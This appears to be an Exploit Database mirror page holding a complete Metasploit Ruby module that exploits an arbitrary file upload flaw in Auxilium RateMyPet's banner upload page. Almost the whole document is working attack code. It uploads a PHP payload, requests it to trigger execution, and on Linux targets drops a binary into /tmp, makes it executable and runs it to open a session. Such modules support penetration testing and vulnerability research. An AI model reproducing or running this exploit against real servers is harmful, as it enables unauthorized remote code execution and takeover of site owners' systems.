Auxilium RateMyPet – Arbitrary File Upload (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/21836/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
  			'Description'=> %q{
  					This module exploits a vulnerability found in Auxilium RateMyPet's. The site
  				banner uploading feature can be abused to upload an arbitrary file to the web
  				server, which is accessible in the 'banner' directory, thus allowing remote code
  				execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'DaOne',#Vulnerability discovery
  					'sinn3r'#Metasploit
  				],
  			'References' =>
  				[
  					['OSVDB', '85554'],
  					['EDB', '21329']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => ['linux', 'php'],
  			'Targets'=>
  				[
  				[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],
  				[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Sep 14 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
  			], self.class)
  	end
  
  
  	def check
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		base = File.dirname("#{target_uri.path}.")
  
  		res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"})
  		if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
  			return Exploit::CheckCode::Appears
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  
  	def get_write_exec_payload(fname, data)
  		p = Rex::Text.encode_base64(generate_payload_exe)
  		php = %Q|
  		<?php
  		$f = fopen("#{fname}", "wb");
  		fwrite($f, base64_decode("#{p}"));
  		fclose($f);
  		exec("chmod 777 #{fname}");
  		exec("#{fname}");
  		?>
  		|
  		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
  		return php
  	end
  
  
  	def on_new_session(cli)
  		if cli.type == "meterpreter"
  			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  		end
  
  		@clean_files.each do |f|
  			print_status("#{@peer} - Removing: #{f}")
  			begin
  				if cli.type == 'meterpreter'
  					cli.fs.file.rm(f)
  				else
  					cli.shell_command_token("rm #{f}")
  				end
  			rescue ::Exception => e
  				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
  			end
  		end
  	end
  
  
  	def upload_exec(base, php_fname, p)
  		data = Rex::MIME::Message.new
  		data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
  		data.add_part('', nil, nil, "form-data; name=\"alt\"")
  		data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
  		data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
  
  		post_data = data.to_s
  		post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  
  		print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{base}/admin/sitebanners/upload_banners.php",
  			'ctype'=> "multipart/form-data; boundary=#{data.bound}",
  			'data' => post_data,
  		})
  
  		if not res
  			print_error("#{@peer} - No response from host")
  			return
  		end
  
  		print_status("#{@peer} - Requesting '#{php_fname}'...")
  		res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"})
  		if res and res.code == 404
  			print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
  			return
  		end
  
  		handler
  	end
  
  
  	def exploit
  		@peer = "#{rhost}:#{rport}"
  
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		base = File.dirname("#{target_uri.path}.")
  
  		php_fname ="#{Rex::Text.rand_text_alpha(5)}.php"
  		@clean_files = [php_fname]
  
  		case target['Platform']
  		when 'php'
  			p = "<?php #{payload.encoded} ?>"
  		when 'linux'
  			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
  			@clean_files << bin_name
  			bin = generate_payload_exe
  			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
  		end
  
  		upload_exec(base, php_fname, p)
  	end
  end